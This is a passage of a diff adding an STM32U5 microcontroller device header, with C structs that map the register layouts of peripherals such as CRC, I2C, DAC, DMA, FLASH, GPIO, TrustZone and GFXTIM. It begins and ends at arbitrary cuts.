================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, Address offset: 0x24 */ + __IO uint32_t BGCOLR; /*!< DMA2D Background Color Register, Address offset: 0x28 */ + __IO uint32_t FGCMAR; /*!< DMA2D Foreground CLUT Memory Address Register, Address offset: 0x2C */ + __IO uint32_t BGCMAR; /*!< DMA2D Background CLUT Memory Address Register, Address offset: 0x30 */ + __IO uint32_t OPFCCR; /*!< DMA2D Output PFC Control Register, Address offset: 0x34 */ + __IO uint32_t OCOLR; /*!< DMA2D Output Color Register, Address offset: 0x38 */ + __IO uint32_t OMAR; /*!< DMA2D Output Memory Address Register, Address offset: 0x3C */ + __IO uint32_t OOR; /*!< DMA2D Output Offset Register, Address offset: 0x40 */ + __IO uint32_t NLR; /*!< DMA2D Number of Line Register, Address offset: 0x44 */ + __IO uint32_t LWR; /*!< DMA2D Line Watermark Register, Address offset: 0x48 */ + __IO uint32_t AMTCR; /*!< DMA2D AHB Master Timer Configuration Register, Address offset: 0x4C */ + uint32_t RESERVED[236]; /*!< Reserved, 0x50-0x3FC */ + __IO uint32_t FGCLUT[256]; /*!< DMA2D Foreground CLUT, Address offset:400-7FC */ + __IO uint32_t BGCLUT[256]; /*!< DMA2D Background CLUT, Address offset:800-BFC */ +} DMA2D_TypeDef; + +/** + * @brief Asynch Interrupt/Event Controller (EXTI) + */ +typedef struct +{ + __IO uint32_t RTSR1; /*!< EXTI Rising Trigger Selection Register 1, Address offset: 0x00 */ + __IO uint32_t FTSR1; /*!< EXTI Falling Trigger Selection Register 1, Address offset: 0x04 */ + __IO uint32_t SWIER1; /*!< EXTI Software Interrupt event Register 1, Address offset: 0x08 */ + __IO uint32_t RPR1; /*!< EXTI Rising Pending Register 1, Address offset: 0x0C */ + __IO uint32_t FPR1; /*!< EXTI Falling Pending Register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR1; /*!< EXTI Security Configuration Register 1, Address offset: 0x14 */ + __IO uint32_t PRIVCFGR1; /*!< EXTI Privilege Configuration Register 1, Address offset: 0x18 */ + uint32_t RESERVED1[17]; /*!< Reserved 1, 0x1C -- 0x5C */ + __IO uint32_t EXTICR[4]; /*!< EXIT External Interrupt Configuration Register, 0x60 -- 0x6C */ + __IO uint32_t LOCKR; /*!< EXTI Lock Register, Address offset: 0x70 */ + uint32_t RESERVED2[3]; /*!< Reserved 2, 0x74 -- 0x7C */ + __IO uint32_t IMR1; /*!< EXTI Interrupt Mask Register 1, Address offset: 0x80 */ + __IO uint32_t EMR1; /*!< EXTI Event Mask Register 1, Address offset: 0x84 */ +} EXTI_TypeDef; + +/** + * @brief FLASH Registers + */ +typedef struct +{ + __IO uint32_t ACR; /*!< FLASH access control register, Address offset: 0x00 */ + uint32_t RESERVED1; /*!< Reserved1, Address offset: 0x04 */ + __IO uint32_t NSKEYR; /*!< FLASH non-secure key register, Address offset: 0x08 */ + __IO uint32_t SECKEYR; /*!< FLASH secure key register, Address offset: 0x0C */ + __IO uint32_t OPTKEYR; /*!< FLASH option key register, Address offset: 0x10 */ + __IO uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x14 */ + __IO uint32_t PDKEY1R; /*!< FLASH Bank 1 power-down key register, Address offset: 0x18 */ + __IO uint32_t PDKEY2R; /*!< FLASH Bank 2 power-down key register, Address offset: 0x1C */ + __IO uint32_t NSSR; /*!< FLASH non-secure status register, Address offset: 0x20 */ + __IO uint32_t SECSR; /*!< FLASH secure status register, Address offset: 0x24 */ + __IO uint32_t NSCR; /*!< FLASH non-secure control register, Address offset: 0x28 */ + __IO uint32_t SECCR; /*!< FLASH secure control register, Address offset: 0x2C */ + __IO uint32_t ECCR; /*!< FLASH ECC register, Address offset: 0x30 */ + __IO uint32_t OPSR; /*!< FLASH OPSR register, Address offset: 0x34 */ + uint32_t RESERVED3[2]; /*!< Reserved3, Address offset: 0x38-0x3C */ + __IO uint32_t OPTR; /*!< FLASH option control register, Address offset: 0x40 */ + __IO uint32_t NSBOOTADD0R; /*!< FLASH non-secure boot address 0 register, Address offset: 0x44 */ + __IO uint32_t NSBOOTADD1R; /*!< FLASH non-secure boot address 1 register, Address offset: 0x48 */ + __IO uint32_t SECBOOTADD0R; /*!< FLASH secure boot address 0 register, Address offset: 0x4C */ + __IO uint32_t SECWM1R1; /*!< FLASH secure watermark1 register 1, Address offset: 0x50 */ + __IO uint32_t SECWM1R2; /*!< FLASH secure watermark1 register 2, Address offset: 0x54 */ + __IO uint32_t WRP1AR; /*!< FLASH WRP1 area A address register, Address offset: 0x58 */ + __IO uint32_t WRP1BR; /*!< FLASH WRP1 area B address register, Address offset: 0x5C */ + __IO uint32_t SECWM2R1; /*!< FLASH secure watermark2 register 1, Address offset: 0x60 */ + __IO uint32_t SECWM2R2; /*!< FLASH secure watermark2 register 2, Address offset: 0x64 */ + __IO uint32_t WRP2AR; /*!< FLASH WRP2 area A address register, Address offset: 0x68 */ + __IO uint32_t WRP2BR; /*!< FLASH WRP2 area B address register, Address offset: 0x6C */ + __IO uint32_t OEM1KEYR1; /*!< FLASH OEM1 key register 1, Address offset: 0x70 */ + __IO uint32_t OEM1KEYR2; /*!< FLASH OEM1 key register 2, Address offset: 0x74 */ + __IO uint32_t OEM2KEYR1; /*!< FLASH OEM2 key register 1, Address offset: 0x78 */ + __IO uint32_t OEM2KEYR2; /*!< FLASH OEM2 key register 2, Address offset: 0x7C */ + __IO uint32_t SECBB1R1; /*!< FLASH secure block-based bank 1 register 1, Address offset: 0x80 */ + __IO uint32_t SECBB1R2; /*!< FLASH secure block-based bank 1 register 2, Address offset: 0x84 */ + __IO uint32_t SECBB1R3; /*!< FLASH secure block-based bank 1 register 3, Address offset: 0x88 */ + __IO uint32_t SECBB1R4; /*!< FLASH secure block-based bank 1 register 4, Address offset: 0x8C */ + __IO uint32_t SECBB1R5; /*!< FLASH secure block-based bank 1 register 5, Address offset: 0x90 */ + __IO uint32_t SECBB1R6; /*!< FLASH secure block-based bank 1 register 6, Address offset: 0x94 */ + __IO uint32_t SECBB1R7; /*!< FLASH secure block-based bank 1 register 7, Address offset: 0x98 */ + __IO uint32_t SECBB1R8; /*!< FLASH secure block-based bank 1 register 8, Address offset: 0x9C */ + __IO uint32_t SECBB2R1; /*!< FLASH secure block-based bank 2 register 1, Address offset: 0xA0 */ + __IO uint32_t SECBB2R2; /*!< FLASH secure block-based bank 2 register 2, Address offset: 0xA4 */ + __IO uint32_t SECBB2R3; /*!< FLASH secure block-based bank 2 register 3, Address offset: 0xA8 */ + __IO uint32_t SECBB2R4; /*!< FLASH secure block-based bank 2 register 4, Address offset: 0xAC */ + __IO uint32_t SECBB2R5; /*!< FLASH secure block-based bank 2 register 5, Address offset: 0xB0 */ + __IO uint32_t SECBB2R6; /*!< FLASH secure block-based bank 2 register 6, Address offset: 0xB4 */ + __IO uint32_t SECBB2R7; /*!< FLASH secure block-based bank 2 register 7, Address offset: 0xB8 */ + __IO uint32_t SECBB2R8; /*!< FLASH secure block-based bank 2 register 8, Address offset: 0xBC */ + __IO uint32_t SECHDPCR; /*!< FLASH secure HDP control register, Address offset: 0xC0 */ + __IO uint32_t PRIVCFGR; /*!< FLASH privilege configuration register, Address offset: 0xC4 */ + uint32_t RESERVED6[2]; /*!< Reserved6, Address offset: 0xC8-0xCC */ + __IO uint32_t PRIVBB1R1; /*!< FLASH privilege block-based bank 1 register 1, Address offset: 0xD0 */ + __IO uint32_t PRIVBB1R2; /*!< FLASH privilege block-based bank 1 register 2, Address offset: 0xD4 */ + __IO uint32_t PRIVBB1R3; /*!< FLASH privilege block-based bank 1 register 3, Address offset: 0xD8 */ + __IO uint32_t PRIVBB1R4; /*!< FLASH privilege block-based bank 1 register 4, Address offset: 0xDC */ + __IO uint32_t PRIVBB1R5; /*!< FLASH privilege block-based bank 1 register 5, Address offset: 0xE0 */ + __IO uint32_t PRIVBB1R6; /*!< FLASH privilege block-based bank 1 register 6, Address offset: 0xE4 */ + __IO uint32_t PRIVBB1R7; /*!< FLASH privilege block-based bank 1 register 7, Address offset: 0xE8 */ + __IO uint32_t PRIVBB1R8; /*!< FLASH privilege block-based bank 1 register 8, Address offset: 0xEC */ + __IO uint32_t PRIVBB2R1; /*!< FLASH privilege block-based bank 2 register 1, Address offset: 0xF0 */ + __IO uint32_t PRIVBB2R2; /*!< FLASH privilege block-based bank 2 register 2, Address offset: 0xF4 */ + __IO uint32_t PRIVBB2R3; /*!< FLASH privilege block-based bank 2 register 3, Address offset: 0xF8 */ + __IO uint32_t PRIVBB2R4; /*!< FLASH privilege block-based bank 2 register 4, Address offset: 0xFC */ + __IO uint32_t PRIVBB2R5; /*!< FLASH privilege block-based bank 2 register 5, Address offset: 0x100 */ + __IO uint32_t PRIVBB2R6; /*!< FLASH privilege block-based bank 2 register 6, Address offset: 0x104 */ + __IO uint32_t PRIVBB2R7; /*!< FLASH privilege block-based bank 2 register 7, Address offset: 0x108 */ + __IO uint32_t PRIVBB2R8; /*!< FLASH privilege block-based bank 2 register 8, Address offset: 0x10C */ +} FLASH_TypeDef; + +/** + * @brief FMAC + */ +typedef struct +{ + __IO uint32_t X1BUFCFG; /*!< FMAC X1 Buffer Configuration register, Address offset: 0x00 */ + __IO uint32_t X2BUFCFG; /*!< FMAC X2 Buffer Configuration register, Address offset: 0x04 */ + __IO uint32_t YBUFCFG; /*!< FMAC Y Buffer Configuration register, Address offset: 0x08 */ + __IO uint32_t PARAM; /*!< FMAC Parameter register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< FMAC Control register, Address offset: 0x10 */ + __IO uint32_t SR; /*!< FMAC Status register, Address offset: 0x14 */ + __IO uint32_t WDATA; /*!< FMAC Write Data register, Address offset: 0x18 */ + __IO uint32_t RDATA; /*!< FMAC Read Data register, Address offset: 0x1C */ +} FMAC_TypeDef; + +/** + * @brief GFXMMU registers + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXMMU configuration register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< GFXMMU status register, Address offset: 0x04 */ + __IO uint32_t FCR; /*!< GFXMMU flag clear register, Address offset: 0x08 */ + __IO uint32_t CCR; /*!< GFXMMU Cache Control Register, Address offset: 0x0C */ + __IO uint32_t DVR; /*!< GFXMMU default value register, Address offset: 0x10 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x14 to 0x1C */ + __IO uint32_t B0CR; /*!< GFXMMU buffer 0 configuration register, Address offset: 0x20 */ + __IO uint32_t B1CR; /*!< GFXMMU buffer 1 configuration register, Address offset: 0x24 */ + __IO uint32_t B2CR; /*!< GFXMMU buffer 2 configuration register, Address offset: 0x28 */ + __IO uint32_t B3CR; /*!< GFXMMU buffer 3 configuration register, Address offset: 0x2C */ + uint32_t RESERVED2[1008]; /*!< Reserved2, Address offset: 0x30 to 0xFEC */ + __IO uint32_t HWCFGR; /*!< GFXMMU hardware configuration register, Address offset: 0xFF0 */ + __IO uint32_t VERR; /*!< GFXMMU version register, Address offset: 0xFF4 */ + __IO uint32_t IPIDR; /*!< GFXMMU identification register, Address offset: 0xFF8 */ + __IO uint32_t SIDR; /*!< GFXMMU size identification register, Address offset: 0xFFC */ + __IO uint32_t LUT[2048]; /*!< GFXMMU LUT registers, Address offset: 0x1000 to 0x2FFC + For LUT line i, LUTiL = LUT[2*i] and LUTiH = LUT[(2*i)+1] */ +} GFXMMU_TypeDef; + +/** + * @brief General Purpose I/O + */ +typedef struct +{ + __IO uint32_t MODER; /*!< GPIO port mode register, Address offset: 0x00 */ + __IO uint32_t OTYPER; /*!< GPIO port output type register, Address offset: 0x04 */ + __IO uint32_t OSPEEDR; /*!< GPIO port output speed register, Address offset: 0x08 */ + __IO uint32_t PUPDR; /*!< GPIO port pull-up/pull-down register, Address offset: 0x0C */ + __IO uint32_t IDR; /*!< GPIO port input data register, Address offset: 0x10 */ + __IO uint32_t ODR; /*!< GPIO port output data register, Address offset: 0x14 */ + __IO uint32_t BSRR; /*!< GPIO port bit set/reset register, Address offset: 0x18 */ + __IO uint32_t LCKR; /*!< GPIO port configuration lock register, Address offset: 0x1C */ + __IO uint32_t AFR[2]; /*!< GPIO alternate function registers, Address offset: 0x20-0x24 */ + __IO uint32_t BRR; /*!< GPIO Bit Reset register, Address offset: 0x28 */ + __IO uint32_t HSLVR; /*!< GPIO high-speed low voltage register, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< GPIO secure configuration register, Address offset: 0x30 */ +} GPIO_TypeDef; + +/** + * @brief Global TrustZone Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< TZSC control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t SECCFGR1; /*!< TZSC secure configuration register 1, Address offset: 0x10 */ + __IO uint32_t SECCFGR2; /*!< TZSC secure configuration register 2, Address offset: 0x14 */ + __IO uint32_t SECCFGR3; /*!< TZSC secure configuration register 3, Address offset: 0x18 */ + uint32_t RESERVED2; /*!< Reserved2, Address offset: 0x1C */ + __IO uint32_t PRIVCFGR1; /*!< TZSC privilege configuration register 1, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR2; /*!< TZSC privilege configuration register 2, Address offset: 0x24 */ + __IO uint32_t PRIVCFGR3; /*!< TZSC privilege configuration register 3, Address offset: 0x28 */ + uint32_t RESERVED3[5]; /*!< Reserved3, Address offset: 0x2C-0x3C */ + __IO uint32_t MPCWM1ACFGR; /*!< TZSC memory 1 sub-region A watermark configuration register, Address offset: 0x40 */ + __IO uint32_t MPCWM1AR; /*!< TZSC memory 1 sub-region A watermark register, Address offset: 0x44 */ + __IO uint32_t MPCWM1BCFGR; /*!< TZSC memory 1 sub-region B watermark configuration register, Address offset: 0x48 */ + __IO uint32_t MPCWM1BR; /*!< TZSC memory 1 sub-region B watermark register, Address offset: 0x4C */ + __IO uint32_t MPCWM2ACFGR; /*!< TZSC memory 2 sub-region A watermark configuration register, Address offset: 0x50 */ + __IO uint32_t MPCWM2AR; /*!< TZSC memory 2 sub-region A watermark register, Address offset: 0x54 */ + __IO uint32_t MPCWM2BCFGR; /*!< TZSC memory 2 sub-region B watermark configuration register, Address offset: 0x58 */ + __IO uint32_t MPCWM2BR; /*!< TZSC memory 2 sub-region B watermark register, Address offset: 0x5C */ + __IO uint32_t MPCWM3ACFGR; /*!< TZSC memory 3 sub-region A watermark configuration register, Address offset: 0x60 */ + __IO uint32_t MPCWM3AR; /*!< TZSC memory 3 sub-region A watermark register, Address offset: 0x64 */ + uint32_t RESERVED4[2]; /*!< Reserved4, Address offset: 0x68-0x6C */ + __IO uint32_t MPCWM4ACFGR; /*!< TZSC memory 4 sub-region A watermark configuration register, Address offset: 0x70 */ + __IO uint32_t MPCWM4AR; /*!< TZSC memory 4 sub-region A watermark register, Address offset: 0x74 */ + uint32_t RESERVED5[2]; /*!< Reserved5, Address offset: 0x78-0x7C */ + __IO uint32_t MPCWM5ACFGR; /*!< TZSC memory 5 sub-region A watermark configuration register, Address offset: 0x80 */ + __IO uint32_t MPCWM5AR; /*!< TZSC memory 5 sub-region A watermark register, Address offset: 0x84 */ + __IO uint32_t MPCWM5BCFGR; /*!< TZSC memory 5 sub-region B watermark configuration register, Address offset: 0x88 */ + __IO uint32_t MPCWM5BR; /*!< TZSC memory 5 sub-region B watermark register, Address offset: 0x8C */ + __IO uint32_t MPCWM6ACFGR; /*!< TZSC memory 6 sub-region A watermark configuration register, Address offset: 0x90 */ + __IO uint32_t MPCWM6AR; /*!< TZSC memory 6 sub-region A watermark register, Address offset: 0x94 */ + __IO uint32_t MPCWM6BCFGR; /*!< TZSC memory 6 sub-region B watermark configuration register, Address offset: 0x98 */ + __IO uint32_t MPCWM6BR; /*!< TZSC memory 6 sub-region B watermark register, Address offset: 0x9C */ +} GTZC_TZSC_TypeDef; + +typedef struct +{ + __IO uint32_t CR; /*!< MPCBBx control register, Address offset: 0x00 */ + uint32_t RESERVED1[3]; /*!< Reserved1, Address offset: 0x04-0x0C */ + __IO uint32_t CFGLOCKR1; /*!< MPCBBx Configuration lock register 1, Address offset: 0x10 */ + __IO uint32_t CFGLOCKR2; /*!< MPCBBx Configuration lock register 2, Address offset: 0x14 */ + uint32_t RESERVED2[58]; /*!< Reserved2, Address offset: 0x18-0xFC */ + __IO uint32_t SECCFGR[52]; /*!< MPCBBx security configuration registers, Address offset: 0x100-0x1CC */ + uint32_t RESERVED3[12]; /*!< Reserved3, Address offset: 0x1D0-0x1FC */ + __IO uint32_t PRIVCFGR[52]; /*!< MPCBBx privilege configuration registers, Address offset: 0x200-0x2CC */ +} GTZC_MPCBB_TypeDef; + +typedef struct +{ + __IO uint32_t IER1; /*!< TZIC interrupt enable register 1, Address offset: 0x00 */ + __IO uint32_t IER2; /*!< TZIC interrupt enable register 2, Address offset: 0x04 */ + __IO uint32_t IER3; /*!< TZIC interrupt enable register 3, Address offset: 0x08 */ + __IO uint32_t IER4; /*!< TZIC interrupt enable register 4, Address offset: 0x0C */ + __IO uint32_t SR1; /*!< TZIC status register 1, Address offset: 0x10 */ + __IO uint32_t SR2; /*!< TZIC status register 2, Address offset: 0x14 */ + __IO uint32_t SR3; /*!< TZIC status register 3, Address offset: 0x18 */ + __IO uint32_t SR4; /*!< TZIC status register 4, Address offset: 0x1C */ + __IO uint32_t FCR1; /*!< TZIC flag clear register 1, Address offset: 0x20 */ + __IO uint32_t FCR2; /*!< TZIC flag clear register 2, Address offset: 0x24 */ + __IO uint32_t FCR3; /*!< TZIC flag clear register 3, Address offset: 0x28 */ + __IO uint32_t FCR4; /*!< TZIC flag clear register 3, Address offset: 0x2C */ +} GTZC_TZIC_TypeDef; + +/** + * @brief GFXTIM + */ +typedef struct +{ + __IO uint32_t CR; /*!< GFXTIM configuration register, Address offset: 0x00 */ + __IO uint32_t CGCR; /*!< GFXTIM clock generator configuration register, Address offset: 0x04 */ + __IO uint32_t TCR; /*!< GFXTIM timers configuration register, Address offset: 0x08 */ + __IO uint32_t TDR; /*!< GFXTIM timers disable register, Address offset: 0x0C */ + __IO uint32_t EVCR; /*!< GFXTIM events control register, Address offset: 0x10 */ + __IO uint32_t EVSR; /*!< GFXTIM events selection register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WDGTCR; /*!< GFXTIM watchdog timer configuration register, Address offset: 0x20 */ + uint32_t RESERVED2[3]; /*!< Reserved, Address offset: 0x24-0x2C */ + __IO uint32_t ISR; /*!< GFXTIM interrupt status register, Address offset: 0x30 */ + __IO uint32_t ICR; /*!< GFXTIM interrupt clear register, Address offset: 0x34 */ + __IO uint32_t IER; /*!< GFXTIM interrupt enable register, Address offset: 0x38 */ + __IO uint32_t TSR; /*!< GFXTIM timers status register, Address offset: 0x3C */ + __IO uint32_t LCCRR; /*!< GFXTIM line clock counter reload register, Address offset: 0x40 */ + __IO uint32_t FCCRR; /*!< GFXTIM frame clock counter reload register, Address offset: 0x44 */ + uint32_t RESERVED3[2]; /*!< Reserved, Address offset: 0x48-0x4C */ + __IO uint32_t ATR; /*!< GFXTIM absolute time register, Address offset: 0x50 */ + __IO uint32_t AFCR; /*!< GFXTIM absolute frame counter register, Address offset: 0x54 */ + __IO uint32_t ALCR; /*!< GFXTIM absolute line counter register, Address offset: 0x58 */ + uint32_t RESERVED4[1]; /*!< Reserved, Address offset: 0x5C */ + __IO uint32_t AFCC1R; /*!< GFXTIM absolute frame counter compare 1 register, Address offset: 0x60 */ + uint32_t RESERVED5[3]; /*!< Reserved, Address offset: 0x64-0X6C */ + 